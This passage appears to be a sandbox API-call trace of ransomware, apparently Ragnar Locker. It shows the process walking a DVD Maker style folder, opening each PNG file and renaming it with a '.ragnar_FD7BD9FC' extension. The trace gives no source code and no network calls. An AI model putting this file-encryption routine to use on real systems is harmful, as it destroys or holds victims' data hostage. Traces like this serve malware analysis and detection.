hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.262] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.262] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0079.262] lstrcmpiW (lpString1="specialoccasion.png", lpString2=".") returned 1 [0079.262] lstrcmpiW (lpString1="specialoccasion.png", lpString2="..") returned 1 [0079.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0079.262] lstrcmpiW (lpString1="whitemask1047.png", lpString2=".") returned 1 [0079.262] lstrcmpiW (lpString1="whitemask1047.png", lpString2="..") returned 1 [0079.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0079.262] lstrcmpiW (lpString1="whitevignette1047.png", lpString2=".") returned 1 [0079.262] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="..") returned 1 [0079.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0079.262] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.262] lstrcpyW (in: lpString1=0x1eab68, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.262] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png") returned=".png" [0079.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.263] CloseHandle (hObject=0xffffffff) returned 0 [0079.263] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" [0079.263] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.ragnar_FD7BD9FC" [0079.263] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.263] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0079.263] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.263] lstrcpyW (in: lpString1=0x1eab68, lpString2="mainscroll.png" | out: lpString1="mainscroll.png") returned="mainscroll.png" [0079.263] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png") returned=".png" [0079.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.264] CloseHandle (hObject=0xffffffff) returned 0 [0079.265] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" [0079.265] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.ragnar_FD7BD9FC" [0079.265] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.265] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.265] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.265] lstrcpyW (in: lpString1=0x1eab68, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.265] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.265] CloseHandle (hObject=0xffffffff) returned 0 [0079.265] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" [0079.265] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.265] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.265] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.265] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.266] lstrcpyW (in: lpString1=0x1eab68, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.266] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.266] CloseHandle (hObject=0xffffffff) returned 0 [0079.266] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" [0079.266] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.266] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.266] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.266] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.266] lstrcpyW (in: lpString1=0x1eab68, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.266] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.266] CloseHandle (hObject=0xffffffff) returned 0 [0079.267] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" [0079.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.267] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.267] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.267] lstrcpyW (in: lpString1=0x1eab68, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.267] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned=".png" 